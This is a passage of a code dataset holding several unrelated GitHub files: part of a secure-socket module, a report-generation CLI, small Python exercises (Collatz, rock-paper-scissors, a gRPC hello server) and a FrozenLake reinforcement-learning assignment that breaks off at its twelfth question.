{\"type\": \"change_cipher_spec\"}\n self.send_msg(change_cipher_spec_msg)\n self._change_write_cipher_spec()\n return\n\n def fileno(self):\n \"\"\"needed to work with select()\"\"\"\n return self._socket.fileno()\n\n def close(self):\n return self._socket.close()\n\n @property\n def closed(self):\n return self._socket.fileno == -1\n\n def shutdown(self, how):\n return self._socket.shutdown(how)\n\n def _change_read_cipher_spec(self):\n self._current_read_spec = self._next_read_spec\n self._next_read_spec = {\"enc_key\": None,\n \"mac_key\": None,\n \"seq_num\": 0}\n return\n\n def _change_write_cipher_spec(self):\n self._current_write_spec = self._next_write_spec\n self._next_write_spec = {\"enc_key\": None,\n \"mac_key\": None,\n \"seq_num\": 0}\n return\n\n def p_SHA256(self, secret, seed, length):\n prev_a = seed\n result = b\"\"\n while len(result) < length:\n a = hmac.new(secret, msg=prev_a, digestmod=hashlib.sha256)\n prev_a = a.digest()\n hmac_hash = hmac.new(secret,\n msg=a.digest()+seed,\n digestmod=hashlib.sha256)\n result += hmac_hash.digest()\n return result[:length]\n\n def PRF(self, secret, label, seed, length):\n return self.p_SHA256(secret, label+seed, length)\n\n def _init_cipher_spec(self):\n if self._role == \"server\":\n client_spec = self._next_read_spec\n server_spec = self._next_write_spec\n elif self._role == \"client\":\n client_spec = self._next_write_spec\n server_spec = self._next_read_spec\n else:\n raise SecSocketException(\"Socket without a role!\")\n cryptography_imports()\n\n aes_keysize = max(algorithms.AES.key_sizes)//8\n mac_keysize = hashlib.sha256().block_size\n\n prf_seq = self.PRF(self._master_secret,\n \"key expansion\",\n self._agent_random + self._ctl_random,\n 2 * aes_keysize + 2 * mac_keysize)\n\n client_spec[\"enc_key\"] = prf_seq[:aes_keysize]\n prf_seq = prf_seq[aes_keysize:]\n server_spec[\"enc_key\"] = prf_seq[:aes_keysize]\n prf_seq = prf_seq[aes_keysize:]\n\n client_spec[\"mac_key\"] = prf_seq[:mac_keysize]\n prf_seq = prf_seq[mac_keysize:]\n server_spec[\"mac_key\"] = prf_seq[:mac_keysize]\n prf_seq = prf_seq[mac_keysize:]\n return\n\n def _sign_data(self, data, privkey):\n cryptography_imports()\n if isinstance(privkey, DSAPrivateKey):\n signer = privkey.signer(hashes.SHA256())\n elif isinstance(privkey, RSAPrivateKey):\n signer = privkey.signer(padding.PSS(padding.MGF1(hashes.SHA256()),\n padding.PSS.MAX_LENGTH),\n hashes.SHA256())\n elif isinstance(privkey, EllipticCurvePrivateKey):\n signer = privkey.signer(ec.ECDSA(hashes.SHA256()))\n else:\n raise SecSocketException(\"Unsupported Assymetric Key!\")\n\n signer.update(data)\n return signer.finalize()\n\n def _verify_signature(self, pubkey, data, signature):\n cryptography_imports()\n if isinstance(pubkey, DSAPublicKey):\n verifier = pubkey.verifier(signature, hashes.SHA256())\n elif isinstance(pubkey, RSAPublicKey):\n verifier = pubkey.verifier(signature,\n padding.PSS(padding.MGF1(hashes.SHA256()),\n padding.PSS.MAX_LENGTH),\n hashes.SHA256())\n elif isinstance(pubkey, EllipticCurvePublicKey):\n verifier = pubkey.verifier(signature, ec.ECDSA(hashes.SHA256()))\n else:\n raise SecSocketException(\"Unsupported Assymetric Key!\")\n\n verifier.update(data)\n try:\n verifier.verify()\n except cryptography.exceptions.InvalidSignature:\n return False\n except:\n return False\n return True\n\n def _cmp_pub_keys(self, first, second):\n if first.public_numbers() != second.public_numbers():\n return False\n else:\n return True\n","repo_name":"LNST-project/lnst","sub_path":"lnst/Common/SecureSocket.py","file_name":"SecureSocket.py","file_ext":"py","file_size_in_byte":15115,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"11"} +{"seq_id":"15973575136","text":"#!/usr/bin/env python3\n\nimport sys\nimport os\nimport os.path\nimport subprocess\nimport json\n\nimport shutil\n\nimport click\n\n_base = os.path.dirname(os.path.realpath(__file__))\n_report_scripts = os.path.join(_base, 'report')\n\nsys.path.append(_report_scripts)\n\nif True:\n import gen_op_md\n\n\ndef _has_pandoc():\n return shutil.which(\"pandoc\") is not None\n\n\n@click.command()\n@click.option(\n '--metrics-dir',\n multiple=True,\n help='Directory containing collected metrics')\n@click.option(\n \"--labeled-metrics-dir\",\n type=(str, str),\n multiple=True,\n help=\"Like --metrics-dir, but also defines a label\")\n@click.option(\"--zk-metrics-csv\", help=\"Collected ZooKeeper metrics\")\n@click.option(\"--stats-csv\", help=\"Collected Locusts metrics\")\n@click.option(\"--report-dir\", help=\"Target directory for report\")\n@click.option(\n \"--in-place\",\n is_flag=True,\n help=\"Generate/update report in metrics directory\")\n@click.option(\n \"--option\",\n type=(str, str),\n multiple=True,\n help=\"Set named report or plot option\")\n@click.option(\n \"--md/--no-md\", default=True, help=\"Generate Markdown-based report\")\n@click.option(\n \"--pdf/--no-pdf\",\n default=_has_pandoc,\n show_default='if Pandoc available',\n help=\"Generate PDF from Markdown report\")\n@click.option(\n \"--html/--no-html\",\n default=_has_pandoc,\n show_default='if Pandoc available',\n help=\"Generate HTML from Markdown report\")\n@click.option(\"--nb/--no-nb\", default=False, help=\"Generate Jupyter notebook\")\n@click.option(\"-f\", \"--force\", is_flag=True, help=\"Possibly overwrite files\")\n@click.option(\"-j\", \"--jobs\", type=click.INT, help=\"Use parallel jobs\")\n@click.option('-v', '--verbose', count=True)\ndef cli(metrics_dir, labeled_metrics_dir, zk_metrics_csv, stats_csv,\n report_dir, option, in_place, md, pdf, html, nb, force, jobs, verbose):\n if metrics_dir and labeled_metrics_dir:\n raise click.ClickException(\n '--metrics-dir and --labeled-metrics-dir cannot be used together.')\n\n labels = None\n if labeled_metrics_dir:\n metrics_dir = [b for (a, b) in labeled_metrics_dir]\n labels = [a for (a, b) in labeled_metrics_dir]\n\n if not metrics_dir:\n metrics_dir = ['.']\n\n # \"Normalize\" to dict.\n options = {t[0]: t[1] for t in option}\n\n is_multi = len(metrics_dir) > 1\n\n if is_multi and (zk_metrics_csv or stats_csv):\n raise click.ClickException(\n '--zk-metrics-csv and --stats-csv can only be used for ' +\n 'single-dataset reports.')\n\n zk_metrics_csvs = [\n zk_metrics_csv or '%s/zk-metrics.csv' % x for x in metrics_dir\n ]\n stats_csvs = [stats_csv or '%s/locust-stats.csv' % x for x in metrics_dir]\n\n no_access = []\n for f in zk_metrics_csvs + stats_csvs:\n if not (os.path.isfile(f) and os.access(f, os.R_OK)):\n no_access.append(\"'%s'\" % f)\n if len(no_access):\n raise click.ClickException(\n (\"Cannot locate '%s'; please specify locations using \" +\n \"--metrics-dir or individual flags.\") % \"', '\".join(no_access))\n\n is_in_place = False\n if not report_dir:\n if is_multi:\n raise click.ClickException(\n '--report-dir is required for multi-dataset reports.')\n elif in_place:\n report_dir = metrics_dir[0]\n is_in_place = True\n else:\n raise click.ClickException(\n 'Please specify --report-dir or --in-place.')\n\n if os.path.exists(report_dir) and not (is_in_place or force):\n raise click.ClickException(\n (\"Refusing to touch existing report dir '%s'; \" +\n \"please remove or use --force.\") % report_dir)\n\n report_mk = os.path.join(_report_scripts, 'report.mk')\n\n make_args = [\n 'make', '--no-print-directory', '-C', report_dir, '-f', report_mk,\n '--keep-going'\n ]\n\n if jobs:\n make_args += ['-j', str(jobs)]\n if verbose:\n make_args.append('V=1')\n\n os.makedirs(report_dir, exist_ok=True)\n\n if options:\n options_json = os.path.join(report_dir, 'options.json')\n with open(options_json, 'w') as f:\n json.dump(options, f)\n make_args.append('OPTIONS_JSON=' + os.path.abspath(options_json))\n\n # Single-dataset reports can be done in one shot.\n if not is_multi:\n extra_args = [\n 'LOCUST_EXTRA_STATS_CSV=' + os.path.abspath(stats_csvs[0]),\n 'ZK_LOCUST_ZK_METRICS_CSV=' + os.path.abspath(zk_metrics_csvs[0]),\n 'GEN_MD=' + ('1' if md else ''), 'GEN_PDF=' + ('1' if pdf else ''),\n 'GEN_HTML=' + ('1' if html else ''),\n 'GEN_NB=' + ('1' if nb else ''), 'report'\n ]\n os.execvp(make_args[0], make_args + extra_args)\n return # But execvp should have taken over.\n\n fragments = []\n for i in range(len(metrics_dir)):\n frags_id = str(i)\n frags_dir = os.path.join('fragments', frags_id)\n frags_target = os.path.join(frags_dir, 'fragments.jsonl')\n frags_path = os.path.join(report_dir, frags_target)\n\n extra_args = [\n 'FRAGS_ID=' + frags_id, 'FRAGS_DIR=' + frags_dir,\n 'LOCUST_EXTRA_STATS_CSV=' + os.path.abspath(stats_csvs[i]),\n 'ZK_LOCUST_ZK_METRICS_CSV=' + os.path.abspath(zk_metrics_csvs[i]),\n frags_target\n ]\n r = subprocess.call(make_args + extra_args)\n if r != 0:\n raise click.ClickException(\"Failed to generate '%s'.\" % frags_path)\n\n with open(frags_path) as f:\n lines = f.readlines()\n\n for line in lines:\n fragment = json.loads(line)\n if labels and labels[i]:\n for data_item in fragment.get('data', []):\n if not data_item.get('label'):\n data_item['label'] = labels[i]\n fragments.append(fragment)\n\n top_frags_dir = os.path.join(report_dir, 'fragments')\n\n # TODO: This passes md and nb as flag--and does not pass html/pdf\n # at all because that portion of the pipeline has not been\n # implemented yet.\n gen_op_md.process_fragments(report_dir, fragments, top_frags_dir, 'mix',\n md, nb, options)\n\n\nif __name__ == \"__main__\":\n cli()\n","repo_name":"ztzg/zk-locust-tests","sub_path":"report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":6259,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"22583604622","text":"# 0052 Longest Collatz Sequence\nn=0\nnum=0\ncount=1\nlarge=0\nfor i in range(2,20):\n n=i\n print(\"i=\",i)\n count=1\n \n while n>=1:\n #print(\"n=\",n)\n \n if n%2==0:\n n=n//2\n #print(\"even \",n)\n count=count+1\n if n==1:\n print(\"count= \",count)\n if count>large:\n large=count\n num=i\n break\n \n if n%2!=0:\n n=3*n+1\n #print(\"odd \",n)\n count=count+1\n \n \n \nprint(\"num= \", num,\"i= \",i, \"large=\",large)\n","repo_name":"RutuparnaJ/dv.pset","sub_path":"PSet 0052 LCS/Collatz.py","file_name":"Collatz.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"8524333159","text":"from random import randint\r\n\r\nrockpaperscissors = [\"Rock\", \"Paper\", \"Scissors\"]\r\n\r\nrandomChoice = rockpaperscissors[randint(0,2)]\r\n# print(*randomChoice)\r\n\r\nprint(\"Welcome to Rock Paper Scissors!\")\r\nprint(\"The computer will choose randomly between rock, paper and scissors and it is your job to win!\")\r\nprint(\"First one to 3 points, wins the match.\")\r\nplayerName = input('First order of business. What is your name? ')\r\n\r\nplayer = 'y'\r\nn = player.lower()\r\nplayerCounter = 0\r\ncomputerCounter = 0\r\nprint(\"Alright !\",playerName, ',', end=' ')\r\nwhile computerCounter < 3 and playerCounter < 3 or n == 'y':\r\n player = input(\"Rock, Paper or Scissors? \")\r\n\r\n if player.lower() == randomChoice.lower():\r\n print(\"Tie! No points awarded for both sides!\")\r\n elif player.lower() == 'rock':\r\n if randomChoice.lower() == 'paper':\r\n print(\"You lose !\", randomChoice,\"covers\", player)\r\n computerCounter +=1\r\n print(\"The computer has: \"+str(computerCounter)+ \" points.\")\r\n else:\r\n print(\"You won!\", player,'smashes', randomChoice)\r\n playerCounter +=1\r\n print(\"You now have: \"+str(playerCounter)+ \" points.\")\r\n elif player.lower() == 'scissors':\r\n if randomChoice.lower() == 'rock':\r\n print(\"You lose!\", randomChoice,'smashes', player)\r\n computerCounter +=1\r\n print(\"The computer has: \"+str(computerCounter)+ \" points.\")\r\n else:\r\n print(\"You win!\", player,'cuts', randomChoice)\r\n playerCounter +=1\r\n print(\"You now have: \"+str(playerCounter)+ \" points.\")\r\n elif player.lower() == 'paper':\r\n if randomChoice.lower() == 'scissors':\r\n print(\"You lose!\", randomChoice, 'cuts', player)\r\n computerCounter +=1\r\n print(\"The computer has: \"+str(computerCounter)+ \" points.\")\r\n else:\r\n print('You win!', player,'covers', randomChoice)\r\n playerCounter +=1\r\n print(\"You now have: \"+str(playerCounter)+ \" points.\")\r\n else:\r\n print(\"Invalid input. No point awarded. Try again.\")\r\n \r\n \r\n\r\n if computerCounter == 3:\r\n print(\"The computer has won.\")\r\n replay = input(\"Would you like to play again? y/n/yes/no: \")\r\n while replay.lower() != 'y' and replay.lower() != 'yes' and replay.lower() !='n' and replay.lower() != 'no':\r\n print(\"Invalid input. Try again\")\r\n replay = input(\"Would you like to play again? y/n/yes/no: \")\r\n continue\r\n if replay.lower() == 'y' or replay.lower() == 'yes':\r\n playerCounter = 0\r\n computerCounter = 0\r\n print(\"Game is restarting . . . .\")\r\n if replay.lower() == 'n' or replay.lower() == 'no':\r\n print(\"Thanks for playing!\")\r\n break\r\n if playerCounter == 3:\r\n print(\"Congratulations! You won!\")\r\n replay = input(\"Would you like to play again? y/n/yes/no: \")\r\n while replay.lower() != 'y' and replay.lower() != 'yes' and replay.lower() !='n' and replay.lower() != 'no':\r\n print(\"Invalid input. Try again\")\r\n replay = input(\"Would you like to play again? y/n/yes/no: \")\r\n continue\r\n if replay.lower() == 'y' or replay.lower() == 'yes':\r\n playerCounter = 0\r\n computerCounter = 0\r\n print(\"Game is restarting . . . .\")\r\n if replay.lower() == 'n' or replay.lower() == 'no':\r\n print(\"Thanks for playing!\")\r\n break\r\n \r\n\r\n randomChoice = rockpaperscissors[randint(0,2)]\r\n # print(*randomChoice)\r\n","repo_name":"elliotaa1/Rock-Paper-Scissors-Game","sub_path":"gameproject.py","file_name":"gameproject.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2978386886","text":"from concurrent import futures\nimport grpc\n\nimport hello_pb2\nimport hello_pb2_grpc\n\n\nclass HelloWorld(hello_pb2_grpc.HelloServicer):\n def printHello(self, request, context):\n print(request.id)\n return hello_pb2.HelloWorldResponse(id=\"10\")\n \ndef serve():\n server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))\n hello_pb2_grpc.add_HelloServicer_to_server(HelloWorld(), server)\n server.add_insecure_port('[::]:50051')\n server.start()\n server.wait_for_termination()\n\n\nif __name__ == '__main__':\n serve()","repo_name":"nawarajsubedi/Python-gRPC","sub_path":"server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22666808921","text":"print(\"\"\"this is the dice game\r\nlets see in how many attempts tou can catch the number!!!\"\"\")\r\nimport random\r\na=1\r\nrand=0\r\nnum=0\r\ncount=0\r\nwhile a!=0:\r\n num=int(input(\"enter number: \"))\r\n for i in range(7):\r\n rand=random.randint(0,6)\r\n print(rand)\r\n if num>6:\r\n print(\"please enter number less than 7\")\r\n elif num==rand:\r\n print(\"you got it!!!\")\r\n break\r\n else:\r\n count+=1\r\n a+=1\r\nprint(f\"You Got It In {count} chances\")\r\n\r\n","repo_name":"Pravin128/SMALL_PROJECTS","sub_path":"dice_game.py","file_name":"dice_game.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"27934356158","text":"import gym.envs.toy_text.frozen_lake as fl\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom time import perf_counter\n\nnp.set_printoptions(precision=3)\nNBR_EPISODES = 50000\nHORIZON = 200\nGAMMA = 0.9\nSEED = 42 #int(\"WasFurEineUnverstandlichePraktischeSitzung\", base=36) % 2 ** 31\n\n# Create environment\nenv = fl.FrozenLakeEnv() # gym.make('FrozenLake-v1')\nenv.seed(SEED)\n\n\ndef to_s(row, col):\n return row * env.ncol + col\n\n\ndef to_row_col(s):\n col = s % env.ncol\n row = s // env.ncol\n return row, col\n\n\ndef print_values(v):\n for row in range(env.nrow):\n for col in range(env.ncol):\n s = f\"{v[to_s(row, col)]:.3}\"\n print(s, end=' ' * (8 - len(s)))\n print(\"\")\n\n\ndef convert_time(t1, t2):\n return f\"Running time: {t2 - t1:.4f} sec\\n\"\n\n# Question 3\nprint(\"\\n\\n######################\")\nprint(\"##### Question 3 #####\")\nprint(\"######################\\n\")\nprint(\"MONTE-CARLO ESTIMATION METHOD\\n\")\n\nVALUE_START = np.zeros(NBR_EPISODES)\nfor i in range(NBR_EPISODES):\n env.reset()\n done = False\n t = 0\n discount = 1\n while (not done) and (t < HORIZON):\n next_state, r, done, _ = env.step(fl.RIGHT)\n VALUE_START[i] += discount * r\n discount *= GAMMA\n t += 1\n\nprint(f\"Value estimate of the starting point: {np.mean(VALUE_START):.4f}\")\n\noffset = 10\nplt.figure()\nplt.title(\"Convergence of the Monte Carlo estimation\\nof the value of the \\\nstarting point\")\nplt.plot((np.cumsum(VALUE_START) / (np.arange(NBR_EPISODES) + 1))[offset:])\nplt.savefig('question3.png')\n\n# Question 4\nprint(\"\\n\\n######################\")\nprint(\"##### Question 4 #####\")\nprint(\"######################\\n\")\nprint(\"EXPECTED VALUE METHOD\\n\")\n\n\ndef value_function_expected(pi):\n v_pi = np.zeros(env.nS)\n for s in range(env.nS):\n v_s = 0\n s_c = s\n env.isd = np.zeros(env.nS)\n env.isd[s] = 1\n env.reset()\n for _ in range(NBR_EPISODES):\n env.reset()\n done = False\n t = 0\n discount = 1\n while not done and t < HORIZON:\n t += 1\n s_c, r, done, _ = env.step(pi[s_c])\n v_s += discount * r\n discount *= GAMMA\n v_pi[s] = v_s / NBR_EPISODES\n return v_pi\n\n\nsimple_pi = fl.RIGHT * np.ones(env.nS)\nstarting_time = perf_counter()\nV_simple_pi = value_function_expected(simple_pi)\nprint(convert_time(starting_time, perf_counter()))\nprint(f\"Value estimate of the starting point: {V_simple_pi[0]:.3f}\")\nprint(f\"Value function of the always RIGHT policy:\\n\")\nprint_values(V_simple_pi)\n\n# reset the original isd\nenv.isd = np.zeros(env.nS)\nenv.isd[0] = 1\n\n# pdb.set_trace()\n# Question 5\nprint(\"\\n######################\")\nprint(\"##### Question 5 #####\")\nprint(\"######################\\n\")\nprint(\"LINEAR SYSTEM METHOD\\n\")\n\n\ndef value_function(pi):\n \"\"\"\n pi : int array\n For each index i, pi[i] is the action (int) chosen in state i\n\n return:\n ------\n V_pi : float array\n For each index i, V_pi[i] is the value (float) of the state i\n \"\"\"\n # Compute both the reward vector r_pi and\n # transition matrix P_pi associated to the policy on the given env\n r_pi = np.zeros(env.nS)\n transition_pi = np.zeros((env.nS, env.nS))\n for state in range(env.nS):\n transitions_info = env.P[state][pi[state]]\n for transition in transitions_info:\n probabilities = transition[0]\n next_state = transition[1]\n reward = transition[2]\n transition_pi[state, next_state] += probabilities\n r_pi[state] += reward * probabilities\n # Compute the value function of the policy pi\n identity = np.eye(env.nS)\n return np.linalg.inv(identity - GAMMA * transition_pi) @ r_pi\n\n\nsimple_pi = fl.RIGHT * np.ones(env.nS)\nstarting_time = perf_counter()\nV_simple_pi = value_function(simple_pi)\nprint(convert_time(starting_time, perf_counter()))\nprint(f\"Value estimate of the starting point: {V_simple_pi[0]:.3f}\")\nprint(f\"Value function of the always RIGHT policy:\\n\")\nprint_values(V_simple_pi)\n\n# pdb.set_trace()\n# Question 6\nprint(\"\\n######################\")\nprint(\"##### Question 6 #####\")\nprint(\"######################\\n\")\nprint(\"BELLMAN OPERATOR METHOD\\n\")\n\n\ndef value_function_2(pi, epsilon, max_iter):\n \"\"\"\n pi : int array\n For each index i, pi[i] is the action (int) chosen in state i\n\n epsilon : float\n Used as a threshold for the stopping rule\n\n max_iter : int\n Hard threshold on the number of loops\n\n return:\n ------\n V_pi : float array\n For each index i, V_pi[i] is the value (float) of the state i\n \"\"\"\n # Compute both the reward vector r_pi and\n # transition matrix P_pi associated to the policy on the given env\n r_pi = np.zeros(env.nS)\n transition_pi = np.zeros((env.nS, env.nS))\n for state in range(env.nS):\n transitions_info = env.P[state][pi[state]]\n for transition in transitions_info:\n probability = transition[0]\n next_state = transition[1]\n reward = transition[2]\n transition_pi[state, next_state] += probability\n r_pi[state] += reward * probability\n # Compute the value function V_pi of the policy pi\n v_pi = np.zeros(env.nS)\n v_pi_old = np.zeros(env.nS)\n delta_inf = np.zeros(max_iter)\n stop = False\n i = 0\n while (not stop) and (i < max_iter):\n v_pi = r_pi + GAMMA * (transition_pi @ v_pi_old)\n delta_inf[i] = np.max(np.abs(v_pi - v_pi_old))\n v_pi_old[:] = v_pi\n if delta_inf[i] < epsilon:\n stop = True\n delta_inf = delta_inf[:i + 1]\n i += 1\n return v_pi, delta_inf\n\n\nstarting_time = perf_counter()\nV_simple_pi, Delta_inf = value_function_2(simple_pi, 1e-4, 10000)\nprint(convert_time(starting_time, perf_counter()))\nprint(f\"Value function of the always RIGHT policy:\\n\")\nprint_values(V_simple_pi)\n\nplt.figure()\nplt.title(\"Semi-log graph of $n \\mapsto || V_{n+1} - V_n ||_\\infty $ \\n\\\nThe Linearity of this graph proves exponential convergence\")\nplt.semilogy(Delta_inf)\nplt.xlabel(\"Iterate\")\nplt.ylabel(r'$|| V_{n+1} - V_n ||_\\infty$')\nplt.savefig('question6.png')\nprint(f\"\\nNumber of iterations: {Delta_inf.size}\")\nprint(f\"Last residual {Delta_inf[-1]:.6f}\")\n\n# pdb.set_trace()\n# Question 7\nprint(\"\\n######################\")\nprint(\"##### Question 7 #####\")\nprint(\"######################\\n\")\nprint(\"OPTIMAL BELLMAN OPERATOR\\n\")\n\ndef bellman_optimal(m_action, v_opt, transition_action):\n v_action = []\n for action in range(env.nA):\n v_action += [list(m_action[action] + GAMMA * (transition_action[action] @ v_opt))]\n return v_action[np.argmax(np.array(v_action).sum(axis=1))]\n\ndef value_function_optimal(epsilon, max_iter):\n \"\"\"\n epsilon : float\n Used as a threshold for the stopping rule\n\n max_iter : int\n Hard threshold on the number of loops\n\n returns:\n -------\n V_opt : float array, (env.nS,) size\n Optimal value function on the FrozenLake MDP given a discount GAMMA\n V_opt[state index] = Value of that state\n \"\"\"\n # Compute both the reward vector m_action and\n # transition matrix P_action associated to the action on the given env\n m_action = np.zeros((env.nA, env.nS))\n transition_action = np.zeros((env.nA, env.nS, env.nS))\n \n for action in range(env.nA):\n for state in range(env.nS):\n transitions_info = env.P[state][action]\n for transition in transitions_info:\n probability, next_state, reward, _ = transition\n transition_action[action, state, next_state] += probability\n m_action[action, state] += reward * probability\n\n # Compute the value function V_pi of the policy pi\n v_opt = np.zeros(env.nS)\n v_opt_old = np.zeros(env.nS)\n delta_inf = np.zeros(max_iter)\n stop = False\n i = 0\n while (not stop) and (i < max_iter):\n v_opt = bellman_optimal(m_action,v_opt,transition_action)\n delta_inf[i] = np.max(np.abs(v_opt - v_opt_old))\n v_opt_old[:] = v_opt\n if delta_inf[i] < epsilon:\n stop = True\n delta_inf = delta_inf[:i + 1]\n i += 1\n return np.array(v_opt), delta_inf\n\n\nstarting_time = perf_counter()\nV_opt, Delta_inf = value_function_optimal(1e-4, 10000)\nprint(convert_time(starting_time, perf_counter()))\nprint(f\"Optimal value function:\\n\")\nprint_values(V_opt)\n\nplt.figure()\nplt.title(\"Semi-log graph of $n \\mapsto || V_{n+1} - V_n ||_\\infty $ \\n\\\nThe Linearity of this graph proves exponential convergence\")\nplt.semilogy(Delta_inf)\nplt.xlabel(\"Iterate\")\nplt.ylabel(r\"$|| V_{n+1} - V_n ||_\\infty$\")\nplt.savefig('question7.png')\nprint(f\"\\nNumber of iterations: {Delta_inf.size}\")\nprint(f\"Last residual {Delta_inf[-1]:.6f}\")\n\n# pdb.set_trace()\n# Question 8\nprint(\"\\n######################\")\nprint(\"##### Question 8 #####\")\nprint(\"######################\\n\")\nprint(\"VALUE ITERATION\\n\")\n\n\ndef bellman_greedy(v_opt,m_action,transition_action):\n pi_opt = np.zeros(env.nS)\n for state in range(env.nS):\n best_action = 0\n best_value = 0\n for action in range(env.nA):\n temp = m_action[action, state] + GAMMA * (transition_action[action] @ v_opt)[state]\n if temp > best_value:\n best_value = temp\n best_action = action\n pi_opt[state] = best_action\n return pi_opt\n\ndef value_iteration(epsilon, max_iter):\n \"\"\"\n epsilon : float\n Used as a threshold for the stopping rule\n\n max_iter : int\n Hard threshold on the number of loops\n\n returns:\n -------\n pi : int array, size (env.nS,)\n An optimal policy\n \"\"\"\n # Compute both the reward vector r_pi and\n # transition matrix P_pi associated to the policy on the given env\n m_action = np.zeros((env.nA, env.nS))\n transition_action = np.zeros((env.nA, env.nS, env.nS))\n \n for action in range(env.nA):\n for state in range(env.nS):\n transitions_info = env.P[state][action]\n for transition in transitions_info:\n probability, next_state, reward, _ = transition\n transition_action[action, state, next_state] += probability\n m_action[action, state] += reward * probability\n\n v_opt,_ = value_function_optimal(epsilon, max_iter)\n pi_opt = bellman_greedy(v_opt,m_action,transition_action)\n return pi_opt\n\n\nARROWS = {\n fl.RIGHT: \"→\",\n fl.LEFT: \"←\",\n fl.UP: \"↑\",\n fl.DOWN: \"↓\"\n}\n\n\ndef print_policy(pi):\n for row in range(env.nrow):\n for col in range(env.ncol):\n print(ARROWS[pi[to_s(row, col)]], end='')\n print(\"\")\n\n\nstarting_time = perf_counter()\nPi_opt = value_iteration(1e-4, 1000)\nprint(convert_time(starting_time, perf_counter()))\nprint(\"An optimal policy is:\\n\")\nprint_policy(Pi_opt)\n\n# pdb.set_trace()\n# Question 9\nprint(\"\\n######################\")\nprint(\"##### Question 9 #####\")\nprint(\"######################\\n\")\nprint(\"POLICY ITERATION\\n\")\n\n\n# The danger of Policy Iteration lies in the stopping criterion\n# If not careful, one might end up with an algorithm that does not\n# terminate and oscillates between optimal policies\n# Even if it is computationally more expensive, we sometimes rather\n# compare value functions of the policies than policies from one iterate\n# to another.\n\n# An easy improvement on the following code would be to use\n# a warm start for policy evaluation steps (if iteration methods is used)\n# That is to say, using the previously computed value function\n# as the first step for the next policy evaluation\n\n\ndef policy_improvement(v):\n \"\"\"\n V : float array, size (env.nS,)\n Value function of a policy\n\n returns:\n -------\n pi : int array, size (env.nS,)\n A policy that is greedy with respect to V\n \"\"\"\n pi = None\n return pi\n\n\ndef policy_iteration(max_iter):\n \"\"\"\n epsilon : float\n Used as a threshold for the stopping rule\n\n max_iter : int\n Hard threshold on the number of loops\n\n returns:\n -------\n pi : int array, size (env.nS,)\n An optimal policy\n \"\"\"\n pi = np.random.randint(0,env.nA,size = env.nS)\n value = value_function(pi)\n \n m_action = np.zeros((env.nA, env.nS))\n transition_action = np.zeros((env.nA, env.nS, env.nS))\n \n for action in range(env.nA):\n for state in range(env.nS):\n transitions_info = env.P[state][action]\n for transition in transitions_info:\n probability, next_state, reward, _ = transition\n transition_action[action, state, next_state] += probability\n m_action[action, state] += reward * probability\n\n next_pi = bellman_greedy(value,m_action,transition_action)\n next_value = value_function(next_pi)\n\n i = 0\n while not np.array_equal(next_value, value) and i < max_iter:\n pi = next_pi\n value = next_value\n next_pi = bellman_greedy(value,m_action,transition_action)\n next_value = value_function(next_pi)\n i += 1\n\n print(f\"Stopped after {i} iterations\") \n return pi\n\nstarting_time = perf_counter()\nPi_opt = policy_iteration(1000)\nprint(convert_time(starting_time, perf_counter()))\nprint(\"An optimal policy is:\\n\")\nprint_policy(Pi_opt)\n\n# pdb.set_trace()\n# Question 11\nprint(\"\\n#######################\")\nprint(\"##### Question 11 #####\")\nprint(\"#######################\\n\")\nprint(\"OPTIMAL Q-BELLMAN OPERATOR METHOD\\n\")\n\n\n\ndef q_bellman_operator(q,m_action,transition_action):\n next_q = np.zeros((env.nS,env.nA))\n for state in range(env.nS):\n for action in range(env.nA):\n quality = m_action[action,state]\n for state2 in range(env.nS):\n max_q = 0\n for action2 in range(env.nA):\n temp = q[state2,action2]\n if temp > max_q:\n max_q = temp\n quality += GAMMA * transition_action[action,state,state2] * max_q\n next_q[state,action] = quality\n return next_q\n\ndef state_value_function_optimal(epsilon, max_iter):\n \"\"\"\n epsilon : float\n Used as a threshold for the stopping rule\n\n max_iter : int\n Hard threshold on the number of loops\n\n returns:\n -------\n q_opt : float array, (env.nS, env.nA) size\n Optimal state-action value function on the FrozenLake MDP\n given a discount GAMMA\n q_opt[state index][action index] = state-action value of that state\n \"\"\"\n m_action = np.zeros((env.nA, env.nS))\n transition_action = np.zeros((env.nA, env.nS, env.nS))\n \n for action in range(env.nA):\n for state in range(env.nS):\n transitions_info = env.P[state][action]\n for transition in transitions_info:\n probability, next_state, reward, _ = transition\n transition_action[action, state, next_state] += probability\n m_action[action, state] += reward * probability\n \n q_opt = np.zeros((env.nS,env.nA))\n q_opt_old = np.zeros((env.nS,env.nA))\n delta_inf = np.zeros(max_iter)\n stop = False\n i = 0\n while (not stop) and (i < max_iter):\n q_opt = q_bellman_operator(q_opt,m_action,transition_action)\n delta_inf[i] = np.linalg.norm(q_opt-q_opt_old)\n q_opt_old[:] = q_opt\n if delta_inf[i] < epsilon:\n stop = True\n delta_inf = delta_inf[:i + 1]\n i += 1\n return q_opt, delta_inf\n\n\nstarting_time = perf_counter()\nQ_opt, Delta_inf = state_value_function_optimal(1e-4, 100)\nprint(convert_time(starting_time, perf_counter()))\n# print(Q_opt)\n#V_opt = None\n#print(f\"Optimal value function:\\n\")\n#print(Q_opt)\n\nplt.figure()\nplt.title(\"Semi-log graph of $n \\mapsto || Q_{n+1} - Q_n ||_\\infty $ \\n\\\nThe Linearity of this graph proves exponential convergence\")\nplt.semilogy(Delta_inf)\nplt.xlabel(\"Iterate\")\nplt.ylabel(r\"$|| Q_{n+1} - Q_n ||_\\infty$\")\nplt.savefig('question11.png')\nprint(f\"\\nNumber of iterations: {Delta_inf.size}\")\nprint(f\"Last residual {Delta_inf[-1]:.6f}\")\n\n# Question 12\nprint(\"\\n#######################\")\nprint(\"##### Question 12 